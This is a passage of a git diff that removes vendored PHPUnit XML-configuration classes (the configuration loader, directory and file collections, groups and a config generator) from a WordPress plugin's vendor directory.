showUncoveredFiles(): bool - { - return $this->showUncoveredFiles; - } - - public function showOnlySummary(): bool - { - return $this->showOnlySummary; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Xml.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Xml.php deleted file mode 100644 index 34073bd5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Xml.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report; - -use PHPUnit\TextUI\XmlConfiguration\Directory; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Xml -{ - /** - * @var Directory - */ - private $target; - - public function __construct(Directory $target) - { - $this->target = $target; - } - - public function target(): Directory - { - return $this->target; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Configuration.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Configuration.php deleted file mode 100644 index 4067e2f8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Configuration.php +++ /dev/null @@ -1,152 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\CodeCoverage; -use PHPUnit\TextUI\XmlConfiguration\Logging\Logging; -use PHPUnit\Util\Xml\ValidationResult; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Configuration -{ - /** - * @var string - */ - private $filename; - - /** - * @var ValidationResult - */ - private $validationResult; - - /** - * @var ExtensionCollection - */ - private $extensions; - - /** - * @var CodeCoverage - */ - private $codeCoverage; - - /** - * @var Groups - */ - private $groups; - - /** - * @var Groups - */ - private $testdoxGroups; - - /** - * @var ExtensionCollection - */ - private $listeners; - - /** - * @var Logging - */ - private $logging; - - /** - * @var Php - */ - private $php; - - /** - * @var PHPUnit - */ - private $phpunit; - - /** - * @var TestSuiteCollection - */ - private $testSuite; - - public function __construct(string $filename, ValidationResult $validationResult, ExtensionCollection $extensions, CodeCoverage $codeCoverage, Groups $groups, Groups $testdoxGroups, ExtensionCollection $listeners, Logging $logging, Php $php, PHPUnit $phpunit, TestSuiteCollection $testSuite) - { - $this->filename = $filename; - $this->validationResult = $validationResult; - $this->extensions = $extensions; - $this->codeCoverage = $codeCoverage; - $this->groups = $groups; - $this->testdoxGroups = $testdoxGroups; - $this->listeners = $listeners; - $this->logging = $logging; - $this->php = $php; - $this->phpunit = $phpunit; - $this->testSuite = $testSuite; - } - - public function filename(): string - { - return $this->filename; - } - - public function hasValidationErrors(): bool - { - return $this->validationResult->hasValidationErrors(); - } - - public function validationErrors(): string - { - return $this->validationResult->asString(); - } - - public function extensions(): ExtensionCollection - { - return $this->extensions; - } - - public function codeCoverage(): CodeCoverage - { - return $this->codeCoverage; - } - - public function groups(): Groups - { - return $this->groups; - } - - public function testdoxGroups(): Groups - { - return $this->testdoxGroups; - } - - public function listeners(): ExtensionCollection - { - return $this->listeners; - } - - public function logging(): Logging - { - return $this->logging; - } - - public function php(): Php - { - return $this->php; - } - - public function phpunit(): PHPUnit - { - return $this->phpunit; - } - - public function testSuite(): TestSuiteCollection - { - return $this->testSuite; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Exception.php deleted file mode 100644 index 162b37e8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Exception.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use RuntimeException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Exception extends RuntimeException implements \PHPUnit\Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/Directory.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/Directory.php deleted file mode 100644 index b0fdf64f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/Directory.php +++ /dev/null @@ -1,33 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Directory -{ - /** - * @var string - */ - private $path; - - public function __construct(string $path) - { - $this->path = $path; - } - - public function path(): string - { - return $this->path; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollection.php deleted file mode 100644 index cb840892..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollection.php +++ /dev/null @@ -1,65 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use Countable; -use IteratorAggregate; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - * - * @template-implements IteratorAggregate - */ -final class DirectoryCollection implements Countable, IteratorAggregate -{ - /** - * @var Directory[] - */ - private $directories; - - /** - * @param Directory[] $directories - */ - public static function fromArray(array $directories): self - { - return new self(...$directories); - } - - private function __construct(Directory ...$directories) - { - $this->directories = $directories; - } - - /** - * @return Directory[] - */ - public function asArray(): array - { - return $this->directories; - } - - public function count(): int - { - return count($this->directories); - } - - public function getIterator(): DirectoryCollectionIterator - { - return new DirectoryCollectionIterator($this); - } - - public function isEmpty(): bool - { - return $this->count() === 0; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollectionIterator.php deleted file mode 100644 index 4b092744..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollectionIterator.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use function iterator_count; -use Countable; -use Iterator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @template-implements Iterator - */ -final class DirectoryCollectionIterator implements Countable, Iterator -{ - /** - * @var Directory[] - */ - private $directories; - - /** - * @var int - */ - private $position; - - public function __construct(DirectoryCollection $directories) - { - $this->directories = $directories->asArray(); - } - - public function count(): int - { - return iterator_count($this); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return $this->position < count($this->directories); - } - - public function key(): int - { - return $this->position; - } - - public function current(): Directory - { - return $this->directories[$this->position]; - } - - public function next(): void - { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/File.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/File.php deleted file mode 100644 index 6bdd1c24..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/File.php +++ /dev/null @@ -1,33 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class File -{ - /** - * @var string - */ - private $path; - - public function __construct(string $path) - { - $this->path = $path; - } - - public function path(): string - { - return $this->path; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollection.php deleted file mode 100644 index 60e7e401..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollection.php +++ /dev/null @@ -1,65 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use Countable; -use IteratorAggregate; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - * - * @template-implements IteratorAggregate - */ -final class FileCollection implements Countable, IteratorAggregate -{ - /** - * @var File[] - */ - private $files; - - /** - * @param File[] $files - */ - public static function fromArray(array $files): self - { - return new self(...$files); - } - - private function __construct(File ...$files) - { - $this->files = $files; - } - - /** - * @return File[] - */ - public function asArray(): array - { - return $this->files; - } - - public function count(): int - { - return count($this->files); - } - - public function getIterator(): FileCollectionIterator - { - return new FileCollectionIterator($this); - } - - public function isEmpty(): bool - { - return $this->count() === 0; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollectionIterator.php deleted file mode 100644 index 0ce4273d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollectionIterator.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use function iterator_count; -use Countable; -use Iterator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @template-implements Iterator - */ -final class FileCollectionIterator implements Countable, Iterator -{ - /** - * @var File[] - */ - private $files; - - /** - * @var int - */ - private $position; - - public function __construct(FileCollection $files) - { - $this->files = $files->asArray(); - } - - public function count(): int - { - return iterator_count($this); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return $this->position < count($this->files); - } - - public function key(): int - { - return $this->position; - } - - public function current(): File - { - return $this->files[$this->position]; - } - - public function next(): void - { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Generator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Generator.php deleted file mode 100644 index 9f6a812a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Generator.php +++ /dev/null @@ -1,73 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function str_replace; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Generator -{ - /** - * @var string - */ - private const TEMPLATE = <<<'EOT' - - - - - {tests_directory} - - - - - - {src_directory} - - - - -EOT; - - public function generateDefaultConfiguration(string $phpunitVersion, string $bootstrapScript, string $testsDirectory, string $srcDirectory, string $cacheDirectory): string - { - return str_replace( - [ - '{phpunit_version}', - '{bootstrap_script}', - '{tests_directory}', - '{src_directory}', - '{cache_directory}', - ], - [ - $phpunitVersion, - $bootstrapScript, - $testsDirectory, - $srcDirectory, - $cacheDirectory, - ], - self::TEMPLATE, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Group.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Group.php deleted file mode 100644 index bb0d9252..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Group.php +++ /dev/null @@ -1,33 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Group -{ - /** - * @var string - */ - private $name; - - public function __construct(string $name) - { - $this->name = $name; - } - - public function name(): string - { - return $this->name; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollection.php deleted file mode 100644 index 735d8af1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollection.php +++ /dev/null @@ -1,72 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use IteratorAggregate; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - * - * @template-implements IteratorAggregate - */ -final class GroupCollection implements IteratorAggregate -{ - /** - * @var Group[] - */ - private $groups; - - /** - * @param Group[] $groups - */ - public static function fromArray(array $groups): self - { - return new self(...$groups); - } - - private function __construct(Group ...$groups) - { - $this->groups = $groups; - } - - /** - * @return Group[] - */ - public function asArray(): array - { - return $this->groups; - } - - /** - * @return string[] - */ - public function asArrayOfStrings(): array - { - $result = []; - - foreach ($this->groups as $group) { - $result[] = $group->name(); - } - - return $result; - } - - public function isEmpty(): bool - { - return empty($this->groups); - } - - public function getIterator(): GroupCollectionIterator - { - return new GroupCollectionIterator($this); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollectionIterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollectionIterator.php deleted file mode 100644 index 843a708e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollectionIterator.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use function count; -use function iterator_count; -use Countable; -use Iterator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @template-implements Iterator - */ -final class GroupCollectionIterator implements Countable, Iterator -{ - /** - * @var Group[] - */ - private $groups; - - /** - * @var int - */ - private $position; - - public function __construct(GroupCollection $groups) - { - $this->groups = $groups->asArray(); - } - - public function count(): int - { - return iterator_count($this); - } - - public function rewind(): void - { - $this->position = 0; - } - - public function valid(): bool - { - return $this->position < count($this->groups); - } - - public function key(): int - { - return $this->position; - } - - public function current(): Group - { - return $this->groups[$this->position]; - } - - public function next(): void - { - $this->position++; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Groups.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Groups.php deleted file mode 100644 index 0604ce32..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Groups.php +++ /dev/null @@ -1,54 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class Groups -{ - /** - * @var GroupCollection - */ - private $include; - - /** - * @var GroupCollection - */ - private $exclude; - - public function __construct(GroupCollection $include, GroupCollection $exclude) - { - $this->include = $include; - $this->exclude = $exclude; - } - - public function hasInclude(): bool - { - return !$this->include->isEmpty(); - } - - public function include(): GroupCollection - { - return $this->include; - } - - public function hasExclude(): bool - { - return !$this->exclude->isEmpty(); - } - - public function exclude(): GroupCollection - { - return $this->exclude; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Loader.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Loader.php deleted file mode 100644 index fa677212..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/Loader.php +++ /dev/null @@ -1,1274 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\XmlConfiguration; - -use const DIRECTORY_SEPARATOR; -use const PHP_VERSION; -use function assert; -use function defined; -use function dirname; -use function explode; -use function is_file; -use function is_numeric; -use function preg_match; -use function stream_resolve_include_path; -use function strlen; -use function strpos; -use function strtolower; -use function substr; -use function trim; -use DOMDocument; -use DOMElement; -use DOMNode; -use DOMNodeList; -use DOMXPath; -use PHPUnit\Runner\TestSuiteSorter; -use PHPUnit\Runner\Version; -use PHPUnit\TextUI\DefaultResultPrinter; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\CodeCoverage; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Filter\Directory as FilterDirectory; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Filter\DirectoryCollection as FilterDirectoryCollection; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Clover; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Cobertura; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Crap4j; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Html as CodeCoverageHtml; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Php as CodeCoveragePhp; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Text as CodeCoverageText; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\Report\Xml as CodeCoverageXml; -use PHPUnit\TextUI\XmlConfiguration\Logging\Junit; -use PHPUnit\TextUI\XmlConfiguration\Logging\Logging; -use PHPUnit\TextUI\XmlConfiguration\Logging\TeamCity; -use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Html as TestDoxHtml; -use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Text as TestDoxText; -use PHPUnit\TextUI\XmlConfiguration\Logging\TestDox\Xml as TestDoxXml; -use PHPUnit\TextUI\XmlConfiguration\Logging\Text; -use PHPUnit\TextUI\XmlConfiguration\TestSuite as TestSuiteConfiguration; -use PHPUnit\TextUI\XmlConfigurationTest; -use PHPUnit\Util\TestDox\CliTestDoxPrinter; -use PHPUnit\Util\VersionComparisonOperator; -use PHPUnit\Util\Xml; -use PHPUnit\Util\Xml\Exception as XmlException; -use PHPUnit\Util\Xml\Loader as XmlLoader; -use PHPUnit\Util\Xml\SchemaFinder; -use PHPUnit\Util\Xml\Validator; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Loader -{ - /** - * @throws Exception - */ - public function load(string $filename): Configuration - { - try { - $document = (new XmlLoader)->loadFile($filename, false, true, true); - } catch (XmlException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - - $xpath = new DOMXPath($document); - - try { - $xsdFilename = (new SchemaFinder)->find(Version::series()); - } catch (XmlException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - - return new Configuration( - $filename, - (new Validator)->validate($document, $xsdFilename), - $this->extensions($filename, $xpath), - $this->codeCoverage($filename, $xpath, $document), - $this->groups($xpath), - $this->testdoxGroups($xpath), - $this->listeners($filename, $xpath), - $this->logging($filename, $xpath), - $this->php($filename, $xpath), - $this->phpunit($filename, $document), - $this->testSuite($filename, $xpath), - ); - } - - public function logging(string $filename, DOMXPath $xpath): Logging - { - if ($xpath->query('logging/log')->length !== 0) { - return $this->legacyLogging($filename, $xpath); - } - - $junit = null; - $element = $this->element($xpath, 'logging/junit'); - - if ($element) { - $junit = new Junit( - new File( - $this->toAbsolutePath( - $filename, - (string) $this->getStringAttribute($element, 'outputFile'), - ), - ), - ); - } - - $text = null; - $element = $this->element($xpath, 'logging/text'); - - if ($element) { - $text = new Text( - new File( - $this->toAbsolutePath( - $filename, - (string) $this->getStringAttribute($element, 'outputFile'), - ), - ), - ); - } - - $teamCity = null; - $element = $this->element($xpath, 'logging/teamcity'); - - if ($element) { - $teamCity = new TeamCity( - new File( - $this->toAbsolutePath( - $filename, - (string) $this->getStringAttribute($element, 'outputFile'), - ), - ), - ); - } - - $testDoxHtml = null; - $element = $this->element($xpath, 'logging/testdoxHtml'); - - if ($element) { - $testDoxHtml = new TestDoxHtml( - new File( - $this->toAbsolutePath( - $filename, - (string) $this->getStringAttribute($element, 'outputFile'), - ), - ), - ); - } - - $testDoxText = null; - $element = $this->element($xpath, 'logging/testdoxText'); - - if ($element) { - $testDoxText = new TestDoxText( - new File( - $this->toAbsolutePath( - $filename, - (string) $this->getStringAttribute($element, 'outputFile'), - ), - ), - ); - } - - $testDoxXml = null; - $element = $this->element($xpath, 'logging/testdoxXml'); - - if ($element) { - $testDoxXml = new TestDoxXml( - new File( - $this->toAbsolutePath( - $filename, - (string) $this->getStringAttribute($element, 'outputFile'), - ), - ), - ); - } - - return new Logging( - $junit, - $text, - $teamCity, - $testDoxHtml, - $testDoxText, - $testDoxXml, - ); - } - - public function legacyLogging(string $filename, DOMXPath $xpath): Logging - { - $junit = null; - $teamCity = null; - $testDoxHtml = null; - $testDoxText = null; - $testDoxXml = null; - $text = null; - - foreach ($xpath->query('logging/log') as $log) { - assert($log instanceof DOMElement); - - $type = (string) $log->getAttribute('type'); - $target = (string) $log->getAttribute('target'); - - if (!$target) { - continue; - } - - $target = $this->toAbsolutePath($filename, $target); - - switch ($type) { - case 'plain': - $text = new Text( - new File($target), - ); - - break; - - case 'junit': - $junit = new Junit( - new File($target), - ); - - break; - - case 'teamcity': - $teamCity = new TeamCity( - new File($target), - ); - - break; - - case 'testdox-html': - $testDoxHtml = new TestDoxHtml( - new File($target), - ); - - break; - - case 'testdox-text': - $testDoxText = new TestDoxText( - new File($target), - ); - - break; - - case 'testdox-xml': - $testDoxXml = new TestDoxXml( - new File($target), - ); - - break; - } - } - - return new Logging( - $junit, - $text, - $teamCity, - $testDoxHtml, - $testDoxText, - $testDoxXml, - ); - } - - private function extensions(string $filename, DOMXPath $xpath): ExtensionCollection - { - $extensions = []; - - foreach ($xpath->query('extensions/extension') as $extension) { - assert($extension instanceof DOMElement); - - $extensions[] = $this->getElementConfigurationParameters($filename, $extension); - } - - return ExtensionCollection::fromArray($extensions); - } - - private function getElementConfigurationParameters(string $filename, DOMElement $element): Extension - { - /** @psalm-var class-string $class */ - $class = (string) $element->getAttribute('class'); - $file = ''; - $arguments = $this->getConfigurationArguments($filename, $element->childNodes); - - if ($element->getAttribute('file')) { - $file = $this->toAbsolutePath( - $filename, - (string) $element->getAttribute('file'), - true, - ); - } - - return new Extension($class, $file, $arguments); - } - - private function toAbsolutePath(string $filename, string $path, bool $useIncludePath = false): string - { - $path = trim($path); - - if (strpos($path, '/') === 0) { - return $path; - } - - // Matches the following on Windows: - // - \\NetworkComputer\Path - // - \\.\D: - // - \\.\c: - // - C:\Windows - // - C:\windows - // - C:/windows - // - c:/windows - if (defined('PHP_WINDOWS_VERSION_BUILD') && - ($path[0] === '\\' || (strlen($path) >= 3 && preg_match('#^[A-Z]\:[/\\\]#i', substr($path, 0, 3))))) { - return $path; - } - - if (strpos($path, '://') !== false) { - return $path; - } - - $file = dirname($filename) . DIRECTORY_SEPARATOR . $path; - - if ($useIncludePath && !is_file($file)) { - $includePathFile = stream_resolve_include_path($path); - - if ($includePathFile) { - $file = $includePathFile; - } - } - - return $file; - } - - private function getConfigurationArguments(string $filename, DOMNodeList $nodes): array - { - $arguments = []; - - if ($nodes->length === 0) { - return $arguments; - } - - foreach ($nodes as $node) { - if (!$node instanceof DOMElement) { - continue; - } - - if ($node->tagName !== 'arguments') { - continue; - } - - foreach ($node->childNodes as $argument) { - if (!$argument instanceof DOMElement) { - continue; - } - - if ($argument->tagName === 'file' || $argument->tagName === 'directory') { - $arguments[] = $this->toAbsolutePath($filename, (string) $argument->textContent); - } else { - $arguments[] = Xml::xmlToVariable($argument); - } - } - } - - return $arguments; - } - - private function codeCoverage(string $filename, DOMXPath $xpath, DOMDocument $document): CodeCoverage - { - if ($xpath->query('filter/whitelist')->length !== 0) { - return $this->legacyCodeCoverage($filename, $xpath, $document); - } - - $cacheDirectory = null; - $pathCoverage = false; - $includeUncoveredFiles = true; - $processUncoveredFiles = false; - $ignoreDeprecatedCodeUnits = false; - $disableCodeCoverageIgnore = false; - - $element = $this->element($xpath, 'coverage'); - - if ($element) { - $cacheDirectory = $this->getStringAttribute($element, 'cacheDirectory'); - - if ($cacheDirectory !== null) { - $cacheDirectory = new Directory( - $this->toAbsolutePath($filename, $cacheDirectory), - ); - } - - $pathCoverage = $this->getBooleanAttribute( - $element, - 'pathCoverage', - false, - ); - - $includeUncoveredFiles = $this->getBooleanAttribute( - $element, - 'includeUncoveredFiles', - true, - ); - - $processUncoveredFiles = $this->getBooleanAttribute( - $element, - 'processUncoveredFiles', - false, - ); - - $ignoreDeprecatedCodeUnits = $this->getBooleanAttribute( - $element, - 'ignoreDeprecatedCodeUnits', - false, - ); - - $disableCodeCoverageIgnore = $this->getBooleanAttribute( - $element, - 'disableCodeCoverageIgnore', - false, - ); - } - - $clover = null; - $element = $this->element($xpath, 'coverage/report/clover'); - - if ($element) { - $clover = new Clover( - new File( - $this->toAbsolutePath( - $filename, - (string) $this->getStringAttribute($element, 'outputFile'), - ), - ), - ); - } - - $cobertura = null; - $element = $this->element($xpath, 'coverage/report/cobertura'); - - if ($element) { - $cobertura = new Cobertura( - new File( - $this->toAbsolutePath( - $filename, - (string) $this->getStringAttribute($element, 'outputFile'), - ), - ), - ); - } - - $crap4j = null; - $element = $this->element($xpath, 'coverage/report/crap4j'); - - if ($element) { - $crap4j = new Crap4j( - new File( - $this->toAbsolutePath( - $filename, - (string) $this->getStringAttribute($element, 'outputFile'), - ), - ), - $this->getIntegerAttribute($element, 'threshold', 30), - ); - } - - $html = null; - $element = $this->element($xpath, 'coverage/report/html'); - - if ($element) { - $html = new CodeCoverageHtml( - new Directory( - $this->toAbsolutePath( - $filename, - (string) $this->getStringAttribute($element, 'outputDirectory'), - ), - ), - $this->getIntegerAttribute($element, 'lowUpperBound', 50), - $this->getIntegerAttribute($element, 'highLowerBound', 90), - ); - } - - $php = null; - $element = $this->element($xpath, 'coverage/report/php'); - - if ($element) { - $php = new CodeCoveragePhp( - new File( - $this->toAbsolutePath( - $filename, - (string) $this->getStringAttribute($element, 'outputFile'), - ), - ), - ); - } - - $text = null; - $element = $this->element($xpath, 'coverage/report/text'); - - if ($element) { - $text = new CodeCoverageText( - new File( - $this->toAbsolutePath( - $filename, - (string) $this->getStringAttribute($element, 'outputFile'), - ), - ), - $this->getBooleanAttribute($element, 'showUncoveredFiles', false), - $this->getBooleanAttribute($element, 'showOnlySummary', false), - ); - } - - $xml = null; - $element = $this->element($xpath, 'coverage/report/xml'); - - if ($element) { - $xml = new CodeCoverageXml( - new Directory( - $this->toAbsolutePath( - $filename, - (string) $this->getStringAttribute($element, 'outputDirectory'), - ), - ), - ); - } - - return new CodeCoverage( - $cacheDirectory, - $this->readFilterDirectories($filename, $xpath, 'coverage/include/directory'), - $this->readFilterFiles($filename, $xpath, 'coverage/include/file'), - $this->readFilterDirectories($filename, $xpath, 'coverage/exclude/directory'), - $this->readFilterFiles($filename, $xpath, 'coverage/exclude/file'), - $pathCoverage, - $includeUncoveredFiles, - $processUncoveredFiles, - $ignoreDeprecatedCodeUnits, - $disableCodeCoverageIgnore, - $clover, - $cobertura, - $crap4j, - $html, - $php, - $text, - 